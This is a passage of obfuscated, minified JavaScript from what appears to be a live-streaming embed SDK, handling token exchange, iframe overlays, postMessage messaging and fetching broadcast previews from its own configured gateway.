_0x427de7[_0x5dde79(0x2d5)] = null), _0x427de7[_0x5dde79(0x2d5)]) return !0x1; if (!_0x427de7[_0x5dde79(0x1e3)](_0x427de7[_0x5dde79(0x278)])) return !0x1; const _0x4cb59e = _0x427de7[_0x5dde79(0x2b8)](_0x427de7['tokenData']); return _0x427de7['automaticTokenRenewalTimeout'] = setTimeout(() => _0x427de7['ensureAccessTokenLoaded'](() => { }), Math[_0x5dde79(0x2e8)](_0x4cb59e - _0x1a5eab, _0x1a5eab)), !0x0; }, 'setSpecialOfferCallback'(_0x1c274d) { const _0x2d1e45 = _0x239636; _0x427de7[_0x2d1e45(0x1ac)] = _0x1c274d, _0x427de7['renewTokenAutomaticallyOnExpiration'] = !0x0, _0x427de7[_0x2d1e45(0x1cf)](); }, 'getConfigurationManager'() { const _0x38e3b2 = _0x239636; if (!_0x427de7[_0x38e3b2(0x323)]) { const { gatewayUrl: _0x74f218 } = _0x427de7[_0x38e3b2(0x2bb)]; _0x427de7['configurationManager'] = new class { constructor({ gatewayUrl: _0x24dd7e, requestManager: _0x33aae1 }) { const _0x594d6e = _0x38e3b2; this[_0x594d6e(0x2bb)] = null, this[_0x594d6e(0x2c4)] = _0x24dd7e, this['requestManager'] = _0x33aae1; } [_0x38e3b2(0x2d6)](_0x10c83d) { const _0x5c3b49 = _0x38e3b2; if (this['config']) return Promise[_0x5c3b49(0x246)](this[_0x5c3b49(0x2bb)]); const _0x4b9fb8 = { 'method': _0x18c391[_0x5c3b49(0x1ba)][_0x5c3b49(0x2b0)], 'withCredentials': !0x0, 'url': this[_0x5c3b49(0x2c4)] + _0x5c3b49(0x2c6), 'headers': { 'content-type': _0x5c3b49(0x1ae), 'Authorization': _0x5c3b49(0x345) + _0x10c83d } }; return new Promise((_0x1d77fa, _0x2ebabd) => { const _0x599c1f = _0x5c3b49; this[_0x599c1f(0x312)]['sendRequest'](_0x4b9fb8, (_0x5e2e59, _0x1fe2cd) => { const _0x1be5c3 = _0x599c1f; _0x1fe2cd ? _0x2ebabd(_0x1fe2cd) : (this['config'] = _0x5e2e59, _0x1d77fa(this[_0x1be5c3(0x2bb)])); }); }); } }({ 'gatewayUrl': _0x74f218, 'requestManager': _0x427de7[_0x38e3b2(0x2bb)][_0x38e3b2(0x312)] }); } return _0x427de7['configurationManager']; }, async 'checkForSpecialOffer'() { const _0x5d51c4 = _0x239636; return _0x427de7['specialOfferCallback'] ? (this[_0x5d51c4(0x306)] || (this['checkSpecialOfferPromise'] = new Promise((_0x2eed8a, _0x41c5aa) => { _0x427de7['ensureAccessTokenLoaded'](() => { const _0x5838aa = _0x31ec, { accessToken: _0x53864c } = _0x427de7[_0x5838aa(0x278)]; this['getConfigurationManager']()[_0x5838aa(0x2d6)](_0x53864c)[_0x5838aa(0x347)]((_0xeeec6e = {}) => { const _0x277361 = _0x5838aa, { showSpecialCreditsOffer: { enabled: _0x1bf231 } = {}, economy: { purchase: { url: _0x42f4b2 } = {} } = {} } = _0xeeec6e || {}; if (_0x1bf231 && _0x42f4b2) { const _0x16efb4 = _0x42f4b2 + _0x277361(0x22d) + _0x53864c; _0x427de7['specialOfferCallback'](_0x16efb4), _0x427de7[_0x277361(0x27d)](), _0x2eed8a(_0x16efb4); } else _0x427de7[_0x277361(0x1ac)](!0x1), _0x2eed8a(!0x1); })[_0x5838aa(0x2cd)](_0x5c6aff => { const _0x1c7daf = _0x5838aa; _0x427de7[_0x1c7daf(0x1ac)](!0x1), _0x41c5aa(_0x5c6aff); }); }); }), this[_0x5d51c4(0x306)][_0x5d51c4(0x1b8)](() => { const _0x4de861 = _0x5d51c4; this[_0x4de861(0x306)] = null; })), this['checkSpecialOfferPromise']) : null; }, 'refreshToken': _0x3054fb => { const _0x25844b = _0x239636; if (!_0x427de7[_0x25844b(0x289)]) return void _0x3054fb(null, new Error(_0x18c391[_0x25844b(0x32f)][_0x25844b(0x244)])); const { refreshToken: _0x148062 } = _0x427de7[_0x25844b(0x278)]; _0x427de7[_0x25844b(0x261)](_0x148062, !0x0)[_0x25844b(0x347)](_0x24b912 => _0x3054fb(_0x24b912))[_0x25844b(0x2cd)](_0x485a0c => _0x3054fb(null, _0x485a0c)); }, 'buildOptions': (_0xcf551d, _0x4c7671) => { const _0x4da795 = _0x239636; let _0xa1ff4; const { credentials: _0x22b55d, authUrl: _0x2b32fb, hostAppName: _0x3a4df6 } = _0x427de7[_0x4da795(0x2bb)], _0x117f4d = { 'Authorization': 'Basic\x20' + _0x22b55d, 'Content-Type': _0x4da795(0x1cb), 'x-device': _0x4da795(0x30e), 'x-brand': _0x3a4df6 }; _0xa1ff4 = _0x4c7671 ? { 'grant_type': 'refresh_token', 'refresh_token': _0xcf551d } : { 'grant_type': 'urn:ietf:params:oauth:grant-type:token-exchange', 'subject_token': _0xcf551d, 'subject_token_type': _0x4da795(0x21f) }; const _0x5c3be6 = Object[_0x4da795(0x2c8)](_0xa1ff4)['map'](_0x6c06d7 => encodeURIComponent(_0x6c06d7) + '=' + encodeURIComponent(_0xa1ff4[_0x6c06d7]))[_0x4da795(0x31b)]('&'); return { 'url': _0x2b32fb + _0x4da795(0x1ef), 'method': _0x18c391['XHR_REQUEST_TYPES'][_0x4da795(0x292)], 'withCredentials': !0x0, 'body': _0x5c3be6, 'headers': _0x117f4d }; } }, _0x3cb68c = _0x427de7, _0x33abfa = { 'curtains': {}, 'maxZindex': _0x18c391[_0x239636(0x225)]['MAX'], 'minZindex': _0x18c391[_0x239636(0x225)]['MIN'], 'setMaxZindex': _0x598190 => { const _0x519351 = _0x239636; _0x33abfa[_0x519351(0x1c2)] = _0x598190; }, 'createWebLiveIframe': (_0x19d022, _0x472c1a) => { const _0x4a1d71 = _0x239636, _0x2b36fe = document[_0x4a1d71(0x287)](_0x4a1d71(0x25d)); return _0x2b36fe[_0x4a1d71(0x1bf)](_0x4a1d71(0x2c1), _0x19d022), _0x2b36fe['setAttribute']('id', 'web-live-iframe-' + _0x472c1a), _0x2b36fe[_0x4a1d71(0x1bf)]('allow', _0x4a1d71(0x321)), _0x2b36fe[_0x4a1d71(0x1bf)](_0x4a1d71(0x22e), _0x4a1d71(0x1e1)), _0x2b36fe; }, 'removeWebLiveIframe': () => { const _0x13c7be = _0x239636; _0x33abfa[_0x13c7be(0x27b)] = {}; }, 'insertWebLiveIframe': (_0x5929c1, _0x19d5f7) => { const _0x2b5b15 = _0x239636, _0x385cae = document[_0x2b5b15(0x241)](_0x5929c1); if (!_0x385cae) throw new Error(_0x18c391['THROWABLE_ERRORS']['iframeContainerNotFound']); return _0x385cae['setAttribute'](_0x2b5b15(0x22e), 'position:\x20relative;'), _0x385cae[_0x2b5b15(0x31a)](_0x19d5f7), _0x385cae; }, 'addPostMessageListener': _0x533cc0 => { const _0x2e672f = _0x239636; window[_0x2e672f(0x304)](_0x2e672f(0x1dc), _0x533cc0), window[_0x2e672f(0x293)](_0x2e672f(0x1dc), _0x533cc0); }, 'removePostMessageListener': _0x4f58bc => { const _0x5c957a = _0x239636; window[_0x5c957a(0x304)](_0x5c957a(0x1dc), _0x4f58bc); }, 'addWindowUnloadEventsListener': _0x132533 => { const _0x37ab0f = _0x239636; window[_0x37ab0f(0x304)](_0x37ab0f(0x1ce), _0x132533), window[_0x37ab0f(0x293)](_0x37ab0f(0x1ce), _0x132533); }, 'getOrigin': _0x190bdd => { const _0x11e57e = _0x239636, _0x41495d = document[_0x11e57e(0x287)]('a'); return _0x41495d['href'] = _0x190bdd, _0x41495d['origin']; }, 'dropCurtain': ({ iframe: _0x2ed177, container: _0x4cfcb }, _0x24837c, _0x5a75cc, _0x6d008e) => { const _0x547d77 = _0x239636; if (_0x33abfa[_0x547d77(0x27b)][_0x24837c]) return; const _0x60a9e1 = document[_0x547d77(0x287)](_0x547d77(0x315)), _0x327168 = [_0x547d77(0x29c), _0x547d77(0x1bd), 'height:\x20100vh', _0x547d77(0x248), 'left:\x200', 'opacity:\x200.5', _0x547d77(0x1c0) + (_0x5a75cc || '#000'), 'animation:\x20fadeIn\x200.5s\x20ease-in\x200s\x200.5\x20normal\x20forwards', _0x547d77(0x2c3) + (_0x33abfa[_0x547d77(0x1c2)] - 0x1)], _0x4ed252 = [_0x547d77(0x265), _0x547d77(0x2c3) + _0x33abfa[_0x547d77(0x1c2)]]; _0x60a9e1[_0x547d77(0x1bf)](_0x547d77(0x22e), _0x327168[_0x547d77(0x31b)](';\x20')), _0x60a9e1['id'] = _0x24837c, _0x60a9e1[_0x547d77(0x1f6)] = _0x6d008e, _0x33abfa[_0x547d77(0x27b)][_0x24837c] = _0x60a9e1, _0x2ed177[_0x547d77(0x1bf)](_0x547d77(0x22e), _0x4ed252[_0x547d77(0x31b)](';\x20')), _0x4cfcb[_0x547d77(0x31a)](_0x60a9e1); }, 'liftCurtain': ({ iframe: _0x5f1312 }, _0x42442c) => { const _0x181263 = _0x239636, _0x133f04 = _0x33abfa[_0x181263(0x27b)][_0x42442c]; _0x133f04 && (_0x133f04[_0x181263(0x333)][_0x181263(0x343)](_0x133f04), delete _0x33abfa[_0x181263(0x27b)][_0x42442c], Object['keys'](_0x33abfa[_0x181263(0x27b)])[_0x181263(0x1a9)] || _0x5f1312[_0x181263(0x1bf)](_0x181263(0x22e), 'z-index:\x20' + _0x33abfa[_0x181263(0x1b5)] + ';')); } }, _0x24856a = _0x33abfa; class _0x45635e { constructor() { const _0x527ca5 = _0x239636; this[_0x527ca5(0x2f5)] = {}; } static [_0x239636(0x21c)](_0x4edd50) { } [_0x239636(0x1d4)](_0x35225c) { const _0x524448 = _0x239636; this[_0x524448(0x2f5)] = { ...this[_0x524448(0x2f5)], 'colors': { 'body': { 'background-color': _0x35225c } } }; } [_0x239636(0x2fe)](_0x5c8922) { const _0x5a7617 = _0x239636; _0x45635e[_0x5a7617(0x21c)](_0x5c8922), this['theme'] = _0x5c8922; } [_0x239636(0x245)]() { return this['theme']; } } const _0x13aec9 = _0x45635e; class _0x102e3f { static [_0x239636(0x348)](_0x57db30, _0x297d5b) { const _0x3fac41 = _0x239636; if (!(_0x57db30 in _0x18c391[_0x3fac41(0x1f0)])) throw new Error(_0x18c391[_0x3fac41(0x32f)][_0x3fac41(0x223)] + _0x3fac41(0x2f6) + Object['keys'](_0x18c391[_0x3fac41(0x1f0)])[_0x3fac41(0x31b)](',\x20')); if (_0x3fac41(0x34d) != typeof _0x297d5b) throw new Error('' + _0x18c391[_0x3fac41(0x32f)]['wrongSettingsType']); let _0x5555b5 = ''; switch (_0x57db30) { case _0x18c391[_0x3fac41(0x1ed)]: _0x5555b5 = _0x102e3f[_0x3fac41(0x2bc)](_0x57db30, _0x297d5b); break; case _0x18c391[_0x3fac41(0x316)]: _0x5555b5 = _0x102e3f[_0x3fac41(0x28e)](_0x57db30, _0x297d5b); }return _0x5555b5; } static [_0x239636(0x266)](_0x4a9ca9) { const _0x2c5af7 = _0x239636; let _0x43d7e1; try { _0x43d7e1 = JSON['stringify'](_0x4a9ca9); } catch (_0x2e0837) { console[_0x2c5af7(0x2fc)](_0x2c5af7(0x2f1)); } return _0x43d7e1; } static [_0x239636(0x2bc)](_0x2c4fe7, _0x2c27a2) { const _0x373796 = _0x239636, _0x36ae36 = _0x102e3f[_0x373796(0x266)](_0x2c27a2[_0x18c391['SNIPPET_MARQUEE_SETTINGS'][_0x373796(0x2a9)]]), _0x294126 = [_0x2c27a2[_0x18c391[_0x373796(0x34a)][_0x373796(0x22b)]], _0x2c27a2[_0x18c391[_0x373796(0x34a)][_0x373796(0x2ee)]], _0x2c27a2[_0x18c391[_0x373796(0x34a)][_0x373796(0x210)]], _0x2c27a2[_0x18c391[_0x373796(0x34a)]['viewStyle']], _0x2c27a2[_0x18c391[_0x373796(0x34a)][_0x373796(0x335)]], _0x2c27a2[_0x18c391[_0x373796(0x34a)][_0x373796(0x1fd)]], _0x2c27a2[_0x18c391[_0x373796(0x34a)][_0x373796(0x240)]], _0x36ae36, _0x2c27a2[_0x18c391[_0x373796(0x34a)][_0x373796(0x327)]]][_0x373796(0x2ac)](_0x2b73ee => '' === _0x2b73ee ? void 0x0 : _0x2b73ee)[_0x373796(0x2ac)](_0x5974d4 => String(_0x5974d4)); return _0x18c391[_0x373796(0x1f0)][_0x2c4fe7] + '/' + _0x294126[_0x373796(0x31b)]('/'); } static [_0x239636(0x28e)](_0x228326, _0x4547dc) { const _0x1645e8 = _0x239636, _0x58749b = _0x102e3f[_0x1645e8(0x266)](_0x4547dc[_0x18c391[_0x1645e8(0x34a)][_0x1645e8(0x2a9)]]), _0x546f61 = [_0x4547dc[_0x18c391[_0x1645e8(0x34a)][_0x1645e8(0x210)]], _0x4547dc[_0x18c391['SNIPPET_MARQUEE_SETTINGS'][_0x1645e8(0x2d0)]], _0x4547dc[_0x18c391['SNIPPET_MARQUEE_SETTINGS']['gender']], _0x4547dc[_0x18c391['SNIPPET_MARQUEE_SETTINGS'][_0x1645e8(0x1fd)]], _0x4547dc[_0x18c391[_0x1645e8(0x34a)][_0x1645e8(0x240)]], _0x58749b, _0x4547dc[_0x18c391[_0x1645e8(0x34a)][_0x1645e8(0x327)]]]['map'](_0x32d95b => '' === _0x32d95b ? void 0x0 : _0x32d95b)[_0x1645e8(0x2ac)](_0x5441ad => String(_0x5441ad)); return _0x18c391[_0x1645e8(0x1f0)][_0x228326] + '/' + _0x546f61[_0x1645e8(0x31b)]('/'); } static [_0x239636(0x2e3)](_0xe82bbd, { pillType: _0x3d0bdc, distanceFallbackPillType: _0x592fd8 } = {}, _0x14bc46 = {}) { const _0x15e9ce = _0x239636; if (!_0xe82bbd) return '/live-preview-empty'; let _0x1790be = _0x15e9ce(0x22f) + _0xe82bbd; return _0x3d0bdc && (_0x15e9ce(0x1d2) === _0x3d0bdc ? _0x14bc46[_0x15e9ce(0x2db)] ? _0x1790be += '/distance/' + _0x14bc46[_0x15e9ce(0x2db)] : _0x15e9ce(0x2e2) === _0x592fd8 && (_0x1790be += '/' + _0x592fd8) : _0x1790be += '/' + _0x3d0bdc), _0x1790be; } static [_0x239636(0x25a)](_0xc7b61c, { source: _0x59f2eb = null } = {}) { let _0x208f95 = '/view/' + _0xc7b61c; return _0x59f2eb && (_0x396de1['validateViewSource'](_0x59f2eb), _0x208f95 += '/' + _0x59f2eb), _0x208f95; } } const _0x224fb9 = _0x102e3f, _0x36e7c6 = { 'pageSize': 0xa, 'gender': _0x239636(0x1af) }; class _0x3c9190 { static [_0x239636(0x1d3)](_0x6566b7, _0x2a3542 = []) { const _0x294fb7 = _0x239636; return _0x6566b7[_0x294fb7(0x2ac)](_0x4bee3f => { const _0x1aee47 = _0x294fb7, _0x5a17d1 = _0x2a3542['find'](({ id: _0x2d8ea4 }) => _0x2d8ea4 === _0x4bee3f[_0x1aee47(0x1e5)]); return { ..._0x4bee3f, 'broadcastId': _0x4bee3f[_0x1aee47(0x1e5)], 'metadata': { ..._0x5a17d1 || {} } }; }); } constructor(_0xb3e8c9, _0x37e8d9, _0x5d1f2a = {}) { const _0xfc9fa0 = _0x239636; this[_0xfc9fa0(0x1b0)] = _0xb3e8c9, this[_0xfc9fa0(0x312)] = _0x37e8d9, this[_0xfc9fa0(0x250)] = _0x5d1f2a['network'], this[_0xfc9fa0(0x2c4)] = _0x5d1f2a[_0xfc9fa0(0x2c4)], this[_0xfc9fa0(0x1b6)] = [], this[_0xfc9fa0(0x1e9)] = {}, this[_0xfc9fa0(0x32b)] = !0x0, this[_0xfc9fa0(0x33b)] = '0', this[_0xfc9fa0(0x30b)] = {}; } ['getUnassignedLivePreviewBroadcast']() { const _0x4574c1 = _0x239636; return this['livePreviewBroadcasts'][_0x4574c1(0x300)](_0x5833bb => !_0x5833bb[_0x4574c1(0x2e5)]); } [_0x239636(0x234)](_0x567f66) { const _0x2ba0d4 = _0x239636; return 0x0 === this[_0x2ba0d4(0x1b6)][_0x2ba0d4(0x1a9)] && ('0' === this['currentScore'] || 0x0 === this[_0x2ba0d4(0x33b)]) && Array[_0x2ba0d4(0x291)](_0x567f66[_0x2ba0d4(0x26c)]) && _0x567f66[_0x2ba0d4(0x26c)][_0x2ba0d4(0x1a9)] > 0x0; } async['getNextBroadcast'](_0x3bc244, _0x5d275b = {}) { const _0x40ed5b = _0x239636; let _0x238384 = this[_0x40ed5b(0x1d6)](); if (!_0x238384 && this[_0x40ed5b(0x32b)]) try { let _0x470a95; if (this[_0x40ed5b(0x234)](_0x5d275b) && (_0x470a95 = await this[_0x40ed5b(0x25f)](_0x5d275b[_0x40ed5b(0x26c)], _0x5d275b)), _0x470a95 && _0x470a95[_0x40ed5b(0x1bc)][_0x40ed5b(0x1a9)] || (_0x470a95 = await this[_0x40ed5b(0x1d5)]({ ..._0x36e7c6, 'score': this[_0x40ed5b(0x33b)] })), !_0x470a95[_0x40ed5b(0x1bc)]['length']) return console[_0x40ed5b(0x2fc)]('No\x20eligible\x20Live\x20Preview\x20broadcasts\x20found!'), null; this[_0x40ed5b(0x1b6)] = _0x3c9190['combineBroadcastsWithMetadata'](_0x470a95['broadcasts'], _0x470a95?.['metadata']?.[_0x40ed5b(0x1bc)]), _0x238384 = this['getUnassignedLivePreviewBroadcast'](); } catch (_0x22568b) { return console[_0x40ed5b(0x2fc)](_0x40ed5b(0x302), _0x22568b), null; } return _0x238384 ? (_0x238384[_0x40ed5b(0x2e5)] = _0x3bc244, _0x238384) : (console[_0x40ed5b(0x2fc)](_0x40ed5b(0x301)), null); } ['getLivePreviewBroadcasts'](_0x205a6b = _0x36e7c6) { return new Promise((_0x31a873, _0x2be6ca) => { const _0x3bd5c3 = _0x31ec; this[_0x3bd5c3(0x1b0)][_0x3bd5c3(0x1fe)]((_0x2f81b1, _0x4b2277) => { const _0x35dc16 = _0x3bd5c3; if (_0x4b2277 || !_0x2f81b1) return void _0x2be6ca(_0x4b2277); const { accessToken: _0x496a3d } = _0x2f81b1; this['requestManager'][_0x35dc16(0x257)]({ 'method': _0x18c391[_0x35dc16(0x1ba)][_0x35dc16(0x292)], 'url': this[_0x35dc16(0x2c4)] + _0x35dc16(0x2d3) + this[_0x35dc16(0x250)] + _0x35dc16(0x29b), 'headers': { 'content-type': 'application/json;\x20charset=UTF-8', 'X-Parse-Application-Id': _0x35dc16(0x220), 'X-Parse-Session-Token': _0x496a3d }, 'body': JSON[_0x35dc16(0x1be)](_0x205a6b) }, (_0x1ad187, _0x62d904) => { const _0x5a24d5 = _0x35dc16; if (_0x62d904) return this['moreBroadcastsExists'] = !0x1, void _0x2be6ca(_0x62d904); const { result: _0x4eb931 = {} } = _0x1ad187 || {}; this[_0x5a24d5(0x32b)] = !0x0 === _0x4eb931[_0x5a24d5(0x243)], this[_0x5a24d5(0x33b)] = _0x4eb931[_0x5a24d5(0x2d8)] || '0', _0x31a873(_0x4eb931); }); }); }); } ['getLivePreviewForUsersBroadcasts'](_0x22746b, _0x67df92 = {}) { return new Promise((_0x4b3624, _0x4a53b7) => { const _0x137f39 = _0x31ec; this[_0x137f39(0x1b0)][_0x137f39(0x1fe)]((_0x56d5aa, _0x3bc28d) => { const _0xd31e66 = _0x137f39; if (_0x3bc28d || !_0x56d5aa) return void _0x4a53b7(_0x3bc28d); const { accessToken: _0x52aa1b } = _0x56d5aa; this[_0xd31e66(0x312)]['sendRequest']({ 'method': _0x18c391['XHR_REQUEST_TYPES'][_0xd31e66(0x292)], 'url': this['gatewayUrl'] + _0xd31e66(0x2d3) + this[_0xd31e66(0x250)] + '/functions/sns-video:getLivePreviewForUsersBroadcasts', 'headers': { 'content-type': _0xd31e66(0x1ae), 'X-Parse-Application-Id': _0xd31e66(0x220), 'X-Parse-Session-Token': _0x52aa1b }, 'body': JSON[_0xd31e66(0x1be)]({ 'networkUserIds': _0x22746b, ..._0x67df92[_0xd31e66(0x22b)] && { 'latitude': _0x67df92['lat'] }, ..._0x67df92[_0xd31e66(0x2ee)] && { 'longitude': _0x67df92['lng'] } }) }, (_0x110480, _0x58dd7e) => { const _0x8ea412 = _0xd31e66; if (_0x58dd7e) return void _0x4a53b7(_0x58dd7e); const { result: _0x30b71a = {} } = _0x110480 || {}; if (_0x30b71a['broadcasts']) { const _0x54e953 = _0x3c9190[_0x8ea412(0x1d3)](_0x30b71a['broadcasts'], _0x30b71a[_0x8ea412(0x339)]['broadcasts']); this['livePreviewUserBroadcastData'] = _0x54e953[_0x8ea412(0x2d1)]((_0x26d64c, _0x53bfed) => (_0x26d64c[_0x53bfed[_0x8ea412(0x1e5)]] = { ..._0x53bfed, 'broadcastId': _0x53bfed[_0x8ea412(0x1e5)] }, _0x26d64c), this[_0x8ea412(0x1e9)]); } _0x4b3624(_0x30b71a); }); }); }); } async['getUserBroadcastData'](_0x8698a6, _0x29fc62 = !0x1) { const _0x5fc602 = _0x239636; if (!this[_0x5fc602(0x1e9)][_0x8698a6] && _0x29fc62) try { this[_0x5fc602(0x1e9)][_0x8698a6] = await this['getBroadcastData'](_0x8698a6); } catch { console[_0x5fc602(0x2fc)](_0x5fc602(0x1ee) + _0x8698a6); } return this[_0x5fc602(0x1e9)][_0x8698a6]; } ['getBroadcastData'](_0x187406) { return new Promise((_0x5f2373, _0x2c913e) => { const _0x40dc02 = _0x31ec; this['authenticationManager'][_0x40dc02(0x1fe)](({ accessToken: _0x8d8758 }) => { const _0x27e47d = _0x40dc02; this[_0x27e47d(0x312)]['sendRequest']({ 'method': _0x18c391[_0x27e47d(0x1ba)][_0x27e47d(0x292)], 'url': this['gatewayUrl'] + _0x27e47d(0x2d3) + this[_0x27e47d(0x250)] + _0x27e47d(0x207), 'headers': { 'content-type': 'application/json;\x20charset=UTF-8', 'X-Parse-Application-Id': _0x27e47d(0x220), 'X-Parse-Session-Token': _0x8d8758 }, 'body': JSON['stringify']({ 'broadcastId': _0x187406 }) }, (_0x333851, _0x4bed05) => { if (_0x4bed05) return void _0x2c913e(_0x4bed05); const { result: _0x10e483 = {} } = _0x333851 || {}; _0x5f2373(_0x10e483); }); }); }); } [_0x239636(0x2cc)](_0x55bf7d, _0x5ec051) { const _0x26b1bd = _0x239636, _0x17cc16 = this[_0x26b1bd(0x30b)][_0x5ec051]; _0x17cc16 ? (_0x17cc16[_0x26b1bd(0x281)] = !0x0, Array[_0x26b1bd(0x291)](_0x17cc16[_0x26b1bd(0x325)]) && (_0x17cc16[_0x26b1bd(0x325)][_0x26b1bd(0x279)](({ resolve: _0x430b2f }) => _0x430b2f()), delete _0x17cc16[_0x26b1bd(0x325)])) : this[_0x26b1bd(0x30b)][_0x5ec051] = { 'isInitialized': !0x0 }; } [_0x239636(0x2ea)](_0x55eba6) { const _0x57ee0e = _0x239636; this[_0x57ee0e(0x30b)][_0x55eba6] || (this[_0x57ee0e(0x30b)][_0x55eba6] = { 'isInitialized': !0x1, 'initializedPromises': [] }); const _0x2a1a89 = this['initializations'][_0x55eba6]; return _0x2a1a89['isInitialized'] ? Promise['resolve']() : new Promise((_0x113308, _0x153190) => { const _0x109cde = _0x57ee0e; _0x2a1a89[_0x109cde(0x325)][_0x109cde(0x253)]({ 'resolve': _0x113308, 'reject': _0x153190 }); }); } } const _0xf2b906 = _0x3c9190; class _0x55f404 { constructor(_0x52af0e, _0x9bcf51, _0x22ea2c) { const _0xd9ab02 = _0x239636; this['authenticationManager'] = _0x52af0e, this[_0xd9ab02(0x312)] = _0x9bcf51, this[_0xd9ab02(0x250)] = _0x22ea2c[_0xd9ab02(0x250)], this[_0xd9ab02(0x20f)] = _0x22ea2c[_0xd9ab02(0x20f)], this[_0xd9ab02(0x2c4)] = _0x22ea2c[_0xd9ab02(0x2c4)], this[_0xd9ab02(0x30c)] = null; } static [_0x239636(0x21e)](_0x5a10dc = []) { const _0x6274a0 = _0x239636; return _0x5a10dc[_0x6274a0(0x2d1)]((_0x195bca, { objectId: _0x58efac, socialNetworkName: _0x5229f0, visibleTo: _0x27922f }) => (_0x195bca[_0x58efac] = { 'network': _0x5229f0, 'visibleTo': _0x27922f }, _0x195bca), {}); } async[_0x239636(0x2b9)](_0x5e9da2) { const _0x8c0e2 = _0x239636; return (await this[_0x8c0e2(0x1ab)]())[_0x5e9da2]; } [_0x239636(0x1ab)]() { const _0x2dc5c5 = _0x239636; return this['socialNetworksFetchPromise'] || (this[_0x2dc5c5(0x30c)] = new Promise((_0x43beb6, _0x2f2b82) => { const _0xfa4b9e = _0x2dc5c5; this[_0xfa4b9e(0x1b0)]['ensureAccessTokenLoaded'](({ accessToken: _0x130bac }) => { const _0x4e60b1 = _0xfa4b9e; this[_0x4e60b1(0x312)][_0x4e60b1(0x257)]({ 'method': _0x18c391[_0x4e60b1(0x1ba)][_0x4e60b1(0x292)], 'url': this[_0x4e60b1(0x2c4)] + _0x4e60b1(0x2d3) + this[_0x4e60b1(0x250)] + '/functions/sns-profile:getSocialNetworks', 'headers': { 'content-type': _0x4e60b1(0x1ae), 'X-Parse-Application-Id': _0x4e60b1(0x220), 'X-Parse-Session-Token': _0x130bac }, 'body': JSON['stringify']({ 'hostAppName': this[_0x4e60b1(0x250)], 'hostAppVersion': this[_0x4e60b1(0x20f)] }) }, (_0xc58a88, _0x51d08b) => { const _0x69ad15 = _0x4e60b1; _0x51d08b ? _0x2f2b82(_0x51d08b) : _0x43beb6(_0x55f404['parseSocialNetworkResponse'](_0xc58a88?.[_0x69ad15(0x258)])); }); }); })), this[_0x2dc5c5(0x30c)]; } } const _0x31ce3d = _0x55f404, _0x33aa97 = '3.18.0', { OUTGOING_MESSAGE_TYPES: _0xe09cce } = _0x4b1d53(0x46), _0x50af2c = /^(#(?:[\da-f]{3,4}|[\da-f]{6}(?:[\da-f]{2})?)|rgb\([\d]{1,3}(?:[\s]*,[\s]*[\d]{1,3}){2}\)|rgba\([\d]{1,3}(?:[\s]*,[\s]*[\d]{1,3}){2}(?:[\s]*,[\s]*0(?:\.[\d]{1,2})?|[\s]*,[\s]*1(?:\.0)?)?\))$/i, _0x9fe993 = async (_0xc42f5a, _0x5cbfcc, _0x1dbb93) => { const _0x3100ca = _0x239636; _0xc42f5a(_0x5cbfcc ? { 'type': _0x18c391[_0x3100ca(0x298)][_0x3100ca(0x22a)], 'payload': { 'broadcast': await _0x1dbb93[_0x3100ca(0x1ea)](_0x5cbfcc) } } : { 'type': _0x18c391['LIVE_PREVIEW_CB_EVENTS'][_0x3100ca(0x1e6)] }); }, _0x2286b3 = class { constructor(_0x2abfb9) { const _0x19623e = _0x239636; if (!window) throw new Error(_0x18c391[_0x19623e(0x32f)][_0x19623e(0x2b2)]); if (_0x2abfb9[_0x19623e(0x1ff)]) try { this['originalWebLiveURLObject'] = new URL(_0x2abfb9[_0x19623e(0x1ff)]); } catch (_0x173a1c) { throw new Error(_0x18c391[_0x19623e(0x32f)][_0x19623e(0x1c9)]); } _0x396de1['validateHostAppConfig'](_0x2abfb9), _0x3cb68c['deconfigure'](), this[_0x19623e(0x34c)] = new class { constructor() { const _0x27ed3c = _0x19623e; this[_0x27ed3c(0x247)] = {}, this['iframesData'] = {}, this['latestIframeData'] = null, this[_0x27ed3c(0x1f1)] = this['onPostMessage'][_0x27ed3c(0x290)](this), this['handleWindowUnload'] = this[_0x27ed3c(0x1f5)][_0x27ed3c(0x290)](this); } ['handleWindowUnload'](_0x49afba) { const _0x10b5ed = _0x19623e; Object['values'](this[_0x10b5ed(0x1f4)])[_0x10b5ed(0x242)](({ currentRoute: _0x1cde29 }) => _0x10b5ed(0x1f7) === _0x1cde29) && (_0x49afba['preventDefault'](), _0x49afba[_0x10b5ed(0x1c1)] = '', Object[_0x10b5ed(0x1dd)](_0x49afba, { '_defaultPrevented': !0x0 })); } [_0x19623e(0x22c)](_0x2cdd5f, _0x8bb56c, _0x535110 = Math[_0x19623e(0x204)]()['toString'](0x24)[_0x19623e(0x329)](0x2)) { const _0xd6de9e = _0x19623e, _0x2e9716 = _0x24856a[_0xd6de9e(0x326)](_0x8bb56c, _0x535110), _0x15e1e6 = { 'frameId': _0x535110, 'iframe': _0x2e9716, 'origin': _0x24856a[_0xd6de9e(0x2dd)](_0x8bb56c), 'url': _0x8bb56c, 'container': _0x24856a[_0xd6de9e(0x336)](_0x2cdd5f, _0x2e9716), 'onBootstrapped': [], 'callbacks': {}, 'currentRoute': '' }; return this['latestIframeData'] = _0x15e1e6, this['iframesData'][_0x535110] = _0x15e1e6, _0x24856a['addPostMessageListener'](this['onPostMessage']), _0x24856a['addWindowUnloadEventsListener'](this[_0xd6de9e(0x1f5)]), _0x15e1e6; } [_0x19623e(0x319)](_0x173490) { const _0xc3fa2d = _0x19623e; return this[_0xc3fa2d(0x1f4)][_0x173490] || this[_0xc3fa2d(0x276)]; } ['send'](_0x416b1c, _0x5f0c73, _0x304147, _0x11d5e1 = Math['random']()['toString'](0x24)[_0x19623e(0x329)](0x2)) { const _0x13ed3a = _0x19623e, { iframe: _0x52aa27, origin: _0x13592e, bootstrapped: _0x275c1a, onBootstrapped: _0x5dae33 } = this[_0x13ed3a(0x319)](_0x416b1c) || {}; if (!_0x52aa27) throw new Error(_0x18c391[_0x13ed3a(0x32f)][_0x13ed3a(0x2eb)]); if (_0x5f0c73 !== _0x18c391['OUTGOING_MESSAGE_TYPES'][_0x13ed3a(0x1fa)] && !_0x275c1a) return void _0x5dae33[_0x13ed3a(0x253)]({ 'action': this[_0x13ed3a(0x342)][_0x13ed3a(0x290)](this), 'args': [_0x416b1c, _0x5f0c73, _0x304147, _0x11d5e1] }); const { contentWindow: _0x29cc38 } = _0x52aa27; _0x29cc38 && _0x29cc38[_0x13ed3a(0x1b9)]({ 'type': _0x5f0c73, 'payload': _0x304147, 'messageId': _0x11d5e1 }, _0x13592e || '*'); } [_0x19623e(0x27a)](_0x4d5e5f, _0x3fbbeb) { const _0x1d1e39 = _0x19623e; 